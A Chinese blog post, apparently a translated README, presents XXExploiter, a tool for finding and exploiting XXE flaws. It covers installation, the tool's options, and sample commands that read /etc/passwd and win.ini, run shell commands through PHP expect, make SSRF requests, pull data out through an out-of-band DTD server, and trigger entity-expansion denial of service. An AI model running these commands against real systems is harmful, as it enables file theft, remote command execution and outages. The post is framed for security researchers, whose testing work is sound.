XXExploiter:一款功能强大的XXE漏洞扫描与利用工具

XXExploiter是一款功能强大的XXE漏洞扫描与利用工具,在它的帮助下,广大安全研究人员可以轻松发现和利用XXE漏洞。

XXExploiter可以生成XML Payload,并自动开启一台服务器来提供所需的DTD或实现数据提取。该工具目前仍处于开发阶段,但其中大部分的功能已经可以正常使用了。

工具安装

1
2
#install node and npm if you don't have it yet 
    npm install -g xxexploiter

构建&源码运行

下面给出的是一个样本Node应用程序,采用TypeScript开发,所以我们可以轻松构建或集成至其他应用程序中。首先,我们需要安装Node和npm:

1
2
3
npm install
npm run build  
#you may need to npm install tsc -g in order for 'npm build' to succeed

运行该工具,可以使用下列方式运行:

1
2
npm start [args]  
node dist/index.js [args]

或者,你也可以直接在本地系统中安装:

1
npm link

工具使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Usage: xxexploiter.ts [command] [options]
Commands:
  xxexploiter file [file_to_read]  Use XXE to read file
  xxexploiter request [URL]        Use XXE to do a request
  xxexploiter expect [command]     Use XXE to execute a command through PHP's expect
      xxexploiter xee [expantions]     Generate a huge content by resolving entities
    Fuzzing Specific Options
      -f, --fuzz            Enables fuzz options. Use {{FUZZ}} placeholder in the command arg for the magic.
      -w, --wordlist        Path to a wordlist to be used with the fuzz command
      -y, --success-string  String to search for a success response in the requests
      -n, --error-string    String to search for an error response in the request
    Options:
      --version             Show version number       [boolean]
      -s, --server          Server address for OOB and DTD
      -p, --port            Server port for OOB and DTDs. Default: 7777
      -t, --template        path to an XML template where to inject payload
      -m, --mode            Extraction Mode: xml, oob, cdata. Default: xml
      -e, --encode          Extraction Encoding: none, phpbase64. Default: none
      -o, --output          Output for the XML payload file. Default is to console
      -x                    Use a request to automatically send the xml file
      -X, --request-output  Output the response from -x option. If not defined goes to stdout
      -h, --help            Show help                    [boolean]

样本命令

1
2
3
4
5
6
cli.ts expect ls
cli.ts -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
cli.ts -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
cli.ts xee 900000000 -o output.xml
cli.ts file /etc/passwd -x request.txt -t template.xml
cli.ts file /root/{FUZZ} -f -w wordlist.txt -n "not found" -x request.txt

下面给出是该工具的四个主要命令:

file:读取本地文件;

requesst:执行SSRF攻击,从目标设备发送请求;

expect:使用PHP执行命令(如果目标是一个PHP应用的话);

XEE:执行参数扩展来尝试引起拒绝服务;

注意事项

如果你选择使用OOB或CDATA模式,那么XXExploiter将会生成所需的DTD,并使用一台服务器来托管它们。请记住,如果你使用了这些选项,你还需要设置服务器地址。

如果你使用了XML的body内容,那么请记住XML受限字符串(例如’<’)可能会破坏解析数据,所以请确保使用CDATA或PHP的Base64编码。

大多数语言都会限制实体扩展的数量或扩展内容的总长度,因此请确保在与目标相同的条件下,首先在本地计算机上测试XEE。

模板

有时我们需要发送带有特定字段的XML,以便能够利用漏洞进行攻击。为此,我们专门引入了-t(–template)选项。

你可以创建一个可以创建常规XML文件,并用它来生成恶意Payload。如果你想要添加请求内容或文件中的内容,你可以替换掉其中的{{XXE}}占位符。

请求

完成了上述操作之后,你也不需要手动向服务器发送XML文件,因为-x选项可以自动化完成这部分操作。

你可以使用从从Burp获取的请求,并在此处使用它。(注意,-x选项需要传入一个文件)。除此之外,请求中的相对路径可能无法正常工作。默认情况下,如果发生这种情况,xxexploiter会尝试从主机Header获取URL。

在希望注入XML内容的地方,可以添加占位符{{XXE}},或者如果需要用Base64编码,即使用{{XXE_B64}}。

模糊测试器

如果你找到了一台存在漏洞的服务器,并且想提取出其中的文件,但你又不知道里面有什么的话,那么你就可以使用模糊测试器并利用XXE来根据字典寻找文件了。我们只需要使用参数中的{{FUZZ}}占位符,并结合-x选项来自动化请求即可。

项目地址

XXExploiter:【GitHub传送门

人已赞赏
网络教程

黑客利用DrayTek设备中的0day漏洞对企业网络发动攻击

2020-4-21 19:12:55

网络教程

centos8 部署openfire打造属于自己的即时im聊天系统 --客户端篇

2020-4-21 19:17:56

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索